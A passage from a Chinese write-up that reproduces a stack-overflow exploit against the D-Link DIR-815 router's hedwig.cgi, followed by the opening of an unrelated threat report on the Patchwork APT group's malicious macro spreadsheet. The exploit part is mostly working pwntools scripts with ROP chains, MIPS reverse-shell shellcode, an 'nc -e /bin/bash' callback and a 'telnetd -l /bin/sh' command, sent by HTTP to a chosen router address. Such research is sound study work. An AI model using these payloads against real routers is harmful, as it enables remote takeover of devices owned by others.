payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
调试结果显示能够进入到Shellcode去执行。
但是之后一直出不去，获取不到shell。
所以到目前为止，利用qemu用户模式还没有成功获取shell！！！
# 05-qemu系统模式
我们这里主要是为了在qemu虚拟机中重现http服务。通过查看文件系统中的`/bin、/sbin、/usr/bin、/usr/sbin`可以知道`/sbin/httpd`应该是用于监听web端口的http服务，同时查看`/htdocs/web`文件夹下的cgi文件和php文件，可以了解到接受到的数据通过php+cgi来处理并返回客户端。
## 5.1-环境配置
`find ./ -name '*http*'`找到web配置文件httpcfg.php。
./etc/services/HTTP/httpcfg.php
./etc/services/HTTP/httpsvcs.php
./usr/sbin/httpc
./sbin/httpd
查看httpcf.php
Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
<?
include "/htdocs/phplib/phyinf.php";
function http_server($sname, $uid, $ifname, $af, $ipaddr, $port, $hnap, $widget, $smart404)
{
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Address ".$ipaddr. "\n".
" Port ".$port. "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/web". "\n".
" IndexNames { index.php }". "\n";
if ($uid=="LAN-1"||$uid=="WAN-1") echo
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { txt }". "\n".
" }". "\n";
if ($widget > 0) echo
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { router_info.xml }"."\n".
" /usr/sbin/phpcgi { post_login.xml }"."\n".
" }". "\n";
echo
" }". "\n";
if ($smart404 != "")
{
echo
' Control'. '\n'.
' {'. '\n'.
' Alias /smart404'. '\n'.
' Location /htdocs/smart404'. '\n'.
' }'. '\n';
}
if ($hnap > 0)
{
echo
" Control". "\n".
" {". "\n".
" Alias /HNAP1". "\n".
" Location /htdocs/HNAP1". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/hnap { hnap }". "\n".
" }". "\n".
" IndexNames { index.hnap }". "\n".
" }". "\n";
}
echo
" }". "\n".
"}". "\n";
}
function ssdp_server($sname, $uid, $ifname, $af, $ipaddr)
{
if ($af=="inet6") return;
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Port 1900". "\n".
" Address 239.255.255.250". "\n".
" Datagrams On". "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/upnp/docs/".$uid."\n".
" External". "\n".
" {". "\n".
" /htdocs/upnp/ssdpcgi { * }"."\n".
" }". "\n".
" }". "\n".
" }". "\n".
"}". "\n".
"\n";
}
function upnp_server($sname, $uid, $ifname, $af, $ipaddr, $port)
{
if ($af=="inet6") return;
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Address ".$ipaddr. "\n".
" Port ".$port. "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/upnp/docs/".$uid."\n".
" }". "\n".
" }". "\n".
"}". "\n".
"\n";
}
foreach("/runtime/services/http/server")
{
$model = query("/runtime/device/modelname");
$ver = query("/runtime/device/firmwareversion");
$smart404 = query("/runtime/smart404");
$sname = "Linux, HTTP/1.1, ".$model." Ver ".$ver; /* HTTP server name */
$suname = "Linux, UPnP/1.0, ".$model." Ver ".$ver; /* UPnP server name */
$mode = query("mode");
$inf = query("inf");
$ifname = query("ifname");
$ipaddr = query("ipaddr");
$port = query("port");
$hnap = query("hnap");
$widget = query("widget");
$af = query("af");
if ($af!="" && $ifname!="")
{
if ($mode=="HTTP") http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404);
else if ($mode=="SSDP") ssdp_server($sname, $inf,$ifname,$af,$ipaddr);
else if ($mode=="UPNP") upnp_server($suname,$inf,$ifname,$af,$ipaddr,$port);
}
}
?>
可以了解到该php用于生成配置文件，由于我们只需要其中的http服务，可以按照该配置文件改写我们所需的conf。
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu虚拟机的网卡
Address 192.168.79.143 #对于qemu虚拟机IP
Port "1234" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
接下来利用qemu系统模式仿真路由器的运行环境，具体的配置过程在文章[路由器漏洞挖掘环境搭建](https://pup2y.github.io/2020/03/30/lu-you-qi-lou-dong-wa-jue-huan-jing-da-jian/)的qemu网络配置中有提到。
利用下面命令启动，接下来的实验是一次性实验，因为会覆盖qemu虚拟机原本文件系统中的/etc等文件夹从而损坏原有配置，所以无法第二次启动。
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
测试能ping通的情况下，将文件系统利用scp命令拷贝到mipsel虚拟机中。
sudo scp -r squashfs-root [email protected]:/root/
之后编写copy.sh脚本配置启动http服务需要的环境包括动态链接库，以及conf配置文件中提到的`/usr/sbin/phpcgi`，`/usr/sbin/hnap`。
copy.sh，需要进入squashfs-root目录使用，脚本最后启动了http服务。
#!/bin/bash
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf
之后可以在浏览器访问conf文件中配置的192.168.79.143:1234/hedwig.cgi
或者在宿主机中使用以下命令：其中-v显示详细信息，-X指定什么指令，-H 自定义头信息传递给服务器，-b 指定cookie字符串。
#curl http://192.168.79.143:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b "uid=zh"
* Trying 192.168.79.143...
* Connected to 192.168.79.143 (192.168.79.143) port 1234 (#0)
> POST /hedwig.cgi HTTP/1.1
> Host: 192.168.79.143:1234
> User-Agent: curl/7.47.0
> Accept: */*
> Cookie: uid=zh
> Content-Length: 8
>
< HTTP/1.1 200 OK
< Server: Linux, HTTP/1.1,
< Date: Sun, 24 May 2020 01:00:46 GMT
< Transfer-Encoding: chunked
< Content-Type: text/xml
<
* Connection #0 to host 192.168.79.143 left intact
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>%
然后在mips虚拟机查看log文件：
root@debian-mipsel:~/squashfs-root# cat /log
Sun May 24 00:58:11 2020 [1109] *** Mathopd/1.6b9 starting
Sun May 24 00:58:20 2020 [1109] process_headers: method[GET], nheaders=[6], URL[/]
Sun May 24 00:58:43 2020 [1109] process_headers: method[GET], nheaders=[6], URL[/hedwig.cgi]
Sun May 24 00:58:43 2020 [1109] child process 1111 exited with status 255
Sun May 24 00:59:43 2020 [1109] script timeout to 192.168.79.145[52472]
Sun May 24 01:00:46 2020 [1109] process_headers: method[POST], nheaders=[4], URL[/hedwig.cgi]
Sun May 24 01:00:46 2020 [1109] child process 1112 exited with status 255
到这里可以看到我们需要的web服务器以及启动了。
## 5.2-gdbbserver调试
接下来尝试调试`/htdocs/web/hedwig.cgi`文件
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<hedwig><result>FAILED</result><message>no REQUEST</message></hedwig>root@debian-mipsel:~/squashfs-root#
返回no
REQUEST，查看IDA静态反汇编得知没有指定环境变量`REQUEST_METHOD`的值。所以想要触发漏洞进行调试的话，还是需要通过export
设置相关环境变量。
root@debian-mipsel:~/squashfs-root# export CONTENT_LENGTH="100"
root@debian-mipsel:~/squashfs-root# export CONTENT_TYPE="application/x-www-form-urlencoded"
root@debian-mipsel:~/squashfs-root# export REQUEST_METHOD="POST"
root@debian-mipsel:~/squashfs-root# export REQUEST_URI="/hedwig.cgi"
root@debian-mipsel:~/squashfs-root# export HTTP_COOKIE="uid=1234"
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
#之前分析过因为没有post数据
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>
root@debian-mipsel:~/squashfs-root#
使用`echo 'uid=1234'| /htdocs/web/hedwig.cgi`运行成功。
root@debian-mipsel:~/squashfs-root# echo 'uid=1234'| /htdocs/web/hedwig.cgi
root@debian-mipsel:~/squashfs-root#
接下来动态调试确定偏移但是在那之前需要关掉地址随机化，因为qemu的虚拟机内核开启了地址随机化，每次堆的地址都在变化，导致libc的基地址也不断在变，所以需要关闭地址随机化。
`echo 0 > /proc/sys/kernel/randomize_va_space`
可以编写以下脚本进行动态调试
debug.sh，gdbsever 192.168.79.145是宿主机IP，6666是qemu监听端口。
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="`cat content`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|./gdbserver.mipsel 192.168.79.145:6666 /htdocs/web/hedwig.cgi
宿主机gdb调试
gdb-multiarch htdocs/cgibin
set architecture mips
target remote 192.168.79.143:6666 #对应qemu地址和端口
c
得到溢出地址是0x68423668，利用脚本计算偏移为1009
#./patternLocOffset.py -s 0x68423668 -l 2000
[*] Create pattern string contains 2000 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 1009 (adjusted another-endian)
[+] take time: 0.0007 s
接下来是确定libc的基地址，需要先把环境变量配置好，不然/htdocs/web/hedwig.cgi很快就执行完，进程立马就结束了，就得不到maps。
利用/htdocs/web/hedwig.cgi & cat /proc/pid/maps ， **a &b
先执行a，在执行b，无论a成功与否都会执行b**。因为关闭了地址随机化，libc.so.0的基地址就是0x77f34000。这里的libc.so.0是指向libuClibc-0.9.30.1.so。所以libuClibc-0.9.30.1.so基地址为0x77f34000。
root@debian-mipsel:~/squashfs-root# export CONTENT_LENGTH="100"
root@debian-mipsel:~/squashfs-root# export CONTENT_TYPE="application/x-www-form-urlencoded"
root@debian-mipsel:~/squashfs-root# export HTTP_COOKIE="uid=1234"
root@debian-mipsel:~/squashfs-root# export REQUEST_METHOD="POST"
root@debian-mipsel:~/squashfs-root# export REQUEST_URI="/hedwig.cgi"
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/pid/maps
[10] 1052
cat: /proc/pid/maps: No such file or directory
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/pid/maps
[11] 1054
cat: /proc/pid/maps: No such file or directory
[10]+ Stopped /htdocs/web/hedwig.cgi
root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/1056/maps
[12] 1056
00400000-0041c000 r-xp 00000000 08:01 32694 /htdocs/cgibin
0042c000-0042d000 rw-p 0001c000 08:01 32694 /htdocs/cgibin
0042d000-0042f000 rwxp 00000000 00:00 0 [heap]
77f34000-77f92000 r-xp 00000000 08:01 547906 /lib/libc.so.0
77f92000-77fa1000 ---p 00000000 00:00 0
77fa1000-77fa2000 r--p 0005d000 08:01 547906 /lib/libc.so.0
77fa2000-77fa3000 rw-p 0005e000 08:01 547906 /lib/libc.so.0
77fa3000-77fa8000 rw-p 00000000 00:00 0
77fa8000-77fd1000 r-xp 00000000 08:01 546761 /lib/libgcc_s.so.1
77fd1000-77fe1000 ---p 00000000 00:00 0
77fe1000-77fe2000 rw-p 00029000 08:01 546761 /lib/libgcc_s.so.1
77fe2000-77fe7000 r-xp 00000000 08:01 547907 /lib/ld-uClibc.so.0
77ff5000-77ff6000 rw-p 00000000 00:00 0
77ff6000-77ff7000 r--p 00004000 08:01 547907 /lib/ld-uClibc.so.0
77ff7000-77ff8000 rw-p 00005000 08:01 547907 /lib/ld-uClibc.so.0
7ffd6000-7fff7000 rwxp 00000000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
[11]+ Stopped /htdocs/web/hedwig.cgi
root@debian-mipsel:~/squashfs-root#
## 5.3-编写exp
上面既然用了两种方法：system和sleep(1)，那么下面也使用这两种。
1. system方法：将上面的exp的libc基地址和偏移改掉然后cmd换成`nc -e /bin/bash 192.168.79.145 9999`
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.79.145 9999'
padding = 'A' * 973 #1009-4*9
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()
生成的context通过scp拷贝到mips虚拟机中并且`nano debug.sh`更改debug.sh
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|/htdocs/web/hedwig.cgi
#echo "uid=1234"|./gdbserver.mipsel 192.168.79.145:6666 /htdocs/web/hedwig.cgi
在mips虚拟机运行之后在本机nc -vlp 9999，确实能够获取/bin/bash权限。成功了！说明rop链构造是没问题的。
2. 利用sleep(1)调用shellcode
这里的shllcode作用是给指定的IP地址和端口反弹shell，根据[文章](http://shell-storm.org/shellcode/files/shellcode-860.php)修改其中的socket反向连接IP，端口没有改变还是31337。
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
shellcode = ""
shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#shellcode += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177:31337
shellcode += "\xf8\xff\xa5\xaf\x4f\x91\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.79.145
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
libc_base = 0x77f34000
sleep = 0x56BD0 #sleep jr ra 0x7678edf4
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08#0x15C84#0xBB44
payload = 'A' * 973 #1009-9*4
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
f = open("exploit2",'wb+')
f.write(payload)
f.close()
生成的exploit2通过scp拷贝到mips虚拟机中并且`nano debug.sh`更改debug.sh运行得到shell。
其实现在mips虚拟机相当于一个开启了部分web服务的DIR815路由器，可以通过发送构造好的http报文获取shell。
利用system函数
#!/usr/bin/python
from pwn import *
context.endian = "little"
context.arch = "mips"
import requests
import sys
def get_payload(offset, libc_base, cmd):
gadget1 = 0x45988
gadget2 = 0x159cc
system_addr_1 = 0x53200-1
payload = 'A' * offset
payload += p32(libc_base + system_addr_1) # s0
payload += p32(libc_base + gadget2) # s1
payload += 'A' * 4 # s2
payload += 'A' * 4 # s3
payload += 'A' * 4 # s4
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra
payload += 'B' * 0x10
payload += cmd
return payload
if __name__=="__main__":
cmd = "nc -e /bin/bash 192.168.79.145 9999"
cookie='uid=' + get_payload(973, 0x77f34000, cmd)
header = {
'Cookie' : cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid':'1234'}
ip_port=sys.argv[1]
url="http://"+ip_port+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
print r.text
测试结果：获取shell
利用sleep调用shellcode(反弹shell)
def get_payload(offset, libc_base):
shellcode = ""
shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#shellcode += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177:31337
shellcode += "\xf8\xff\xa5\xaf\x4f\x91\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.79.145
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
sleep = 0x56BD0 #sleep jr ra 0x7678edf4
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08#0x15C84#0xBB44
payload = 'A' * offset #1009-9*4
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
return payload
测试结果：获取shell
# 06-Firmadyne仿真及实体机测试
Firmadyne的安装过程这里就不再继续介绍，这里是用它来测试，能够启动起来。并且访问firmadyne给其分配的默认web接口192.168.0.1。
nmap扫描查看开放的端口，目前3各端口分别对应dns53,http80,upnp49152。
Starting Nmap 7.01 ( https://nmap.org ) at 2020-05-24 16:21 CST
Nmap scan report for 192.168.0.1
Host is up (0.00041s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain dnsmasq 2.45
80/tcp open http D-Link DIR-815 WAP http config 1.01
49152/tcp open upnp D-Link DIR-815 WAP UPnP 1.01 (UPnP 1.0)
MAC Address: 52:54:00:12:34:58 (QEMU virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Network Distance: 1 hop
Service Info: OS: Linux; Device: WAP; CPE: cpe:/h:dlink:dir-815:1.01, cpe:/o:linux:linux_kernel, cpe:/h:d-link:dir-815
构造exp进行测试
其实这里需要跟之前qemu系统模式一样，上传gdbsever进行调试确定偏移和libc基地址。这里直接利用师傅帖子中的代码进行测试。这里的基地址是根据firmadyne中用linux内核版本为2.6.32，别的帖子中测试的基地址为0x2aaf8000，并且metasploit里面的[payload](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb)写到：路由器环境中基地址为0x2aaf8000，qemu环境为0x40854000。两个可以都试试！
[ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600',
{
'Offset' => 973,
'LibcBase' => 0x2aaf8000, # Router
#'LibcBase' => 0x40854000, # QEMU environment
'System' => 0x000531FF, # address of system
'CalcSystem' => 0x000158C8, # calculate the correct address of system
'CallSystem' => 0x000159CC, # call our system
}
]
下面编写exp进行测试，利用system函数进行测试。
#!/usr/bin/python
from pwn import *
context.endian = "little"
context.arch = "mips"
import requests
import sys
def get_payload(offset, libc_base, cmd):
gadget1 = 0x45988
gadget2 = 0x159cc
system_addr_1 = 0x53200-1
payload = 'A' * offset
payload += p32(libc_base + system_addr_1) # s0
payload += p32(libc_base + gadget2) # s1
payload += 'A' * 4 # s2
payload += 'A' * 4 # s3
payload += 'A' * 4 # s4
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra
payload += 'B' * 0x10
payload += cmd
return payload
if __name__=="__main__":
#cmd = "nc -e /bin/bash 192.168.79.145 9999"
cmd = 'telnetd -p 222 -l /bin/sh'
cookie='uid=' + get_payload(973, 0x2aaf8000, cmd)
header = {
'Cookie' : cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid':'1234'}
ip_port=sys.argv[1]
url="http://"+ip_port+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
print r.text
测试结果显示能够执行`telnetd -p 222 -l /bin/sh`。telnet 上去对应的窗口直接反弹shell。
在实体机上刷上1.01的版本，用system方法的exp同样能得到获取shell。
# 总结
终于大概的分析完了，因为太菜的原因整个过程其实遇到了不少的坑，从最开始死活到不了第二个sprintf，到后面的qemu系统模式修改http配置文件都起不来http服务，还有shellcode的修改等等问题都可能卡好久，最后解决的时候才知道并不是太难的问题。。。还是太菜了！整个流程完全自己复现一遍并且能够清楚地讲出来，其实个人感觉还是有收获的，比如路由器缓冲区溢出漏洞的分析调试详细流程，gdb、IDA、Ghidra等工具联调使用，以及该libc的万能gadget等。
感谢H4lo大佬不厌其烦地回答我分析调试过程中遇到的问题！坚持学习不断追赶！
# 参考资料
[路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析](https://www.anquanke.com/post/id/179510#h3-8)
[IOT设备漏洞挖掘从入门到入门（二）- DLink Dir
815漏洞分析及三种方式模拟复现](https://www.anquanke.com/post/id/187443#h2-9)
[Building MIPS Environment for Router && PWN](https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/#Run-POC-amp-amp-反弹get-shell)
<http://shell-storm.org/shellcode/>
[一个mips栈溢出](http://xdxd.love/2016/12/09/一个mips栈溢出利用/) | 社区文章 |
# 烈火烧不尽的“恶性毒草”—— 摩诃草APT组织的攻击活动
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一.概述
印度背景的APT组织代号为APT-C-09，又名摩诃草,白象,PatchWork, angOver,VICEROY TIGER,The Dropping
Elephan。
摩诃草组织主要针对中国、巴基斯坦等亚洲地区国家进行网络间谍活动，其中以窃取敏感信息为主。相关攻击活动最早可以追溯到2009年11月，至今还非常活跃。在针对中国地区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击，其中以科研教育领域为主。
摩诃草组织最早由Norman安全公司于2013年曝光，随后又有其他安全厂商持续追踪并披露该组织的最新活动，但该组织并未由于相关攻击行动曝光而停止对相关目标的攻击，相反从2015年开始更加活跃。
从2009年至今，该组织针对不同国家和领域至少发动了3波攻击行动和1次疑似攻击行动。整个攻击过程使用了大量系统漏洞，其中至少包括一次0day漏洞攻击;该组织所采用的恶意代码非常繁杂。载荷投递的方式相对传统，主要是以鱼叉邮件进行恶意代码的传播，另外部分行动会采用少量水坑方式进行攻击；值得关注的是，在最近一次攻击行动中，出现了基于即时通讯工具和社交网络的恶意代码投递方式，进一步还会使用钓鱼网站进行社会工程学攻击。在攻击目标的选择上，该组织主要针对Windows系统进行攻击，同时我们也发现了存在针对Mac
OS X系统的攻击，从2015年开始，甚至出现了针对Android OS移动设备的攻击
Gcow安全团队追影小组于2019.11月底通过监测的手段监测到了该组织的一些针对我国医疗部门的活动.直至2020.2月初,摩诃草APT组织通过投递带有恶意宏文件的xls文件,以及使用带有诱饵文档通过点击下载托管于GitHub上的downloader样本,以及用相应的钓鱼网站,用以侦探情报等一系列活动.这对我国的相关部门具有很大的危害,追影小组对其活动进行了跟踪与分析,写成报告供给各位看官更好的了解该组织的一些手法。
* 当然肯定有人会问为什么你说的简介里摩诃草组织这么厉害,而这次活动却水平不如之前呢?
* 本团队的追影小组主观认为因为这次活动只是该组织下的CNC小组所开展的活动，文末会给出相应的关联证据.不过这只是一家之言还请各路表哥多加批评
注意：文中相关IOCs由于特殊原因不给予放出,敏感信息已经打码处理
## 二.样本分析
### 2.1分析文档(武汉旅行信息收集申请表.xlsm)
该诱饵文档托管于该网址上
<http://xxx-xxx.com/%E6%AD%A6%E6%B1%89%E6%97%85%E8%A1%8C%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E7%94%B3%E8%AF%B7%E8%A1%A8.xlsm>
**2.1.1.诱饵文档**
这是一个含有宏的xlsm电子表格文件，利用社会工程学的办法,诱使目标”启用内容”来执行宏恶意代码
提取的宏代码如下
**2.1.2. 恶意宏代码**
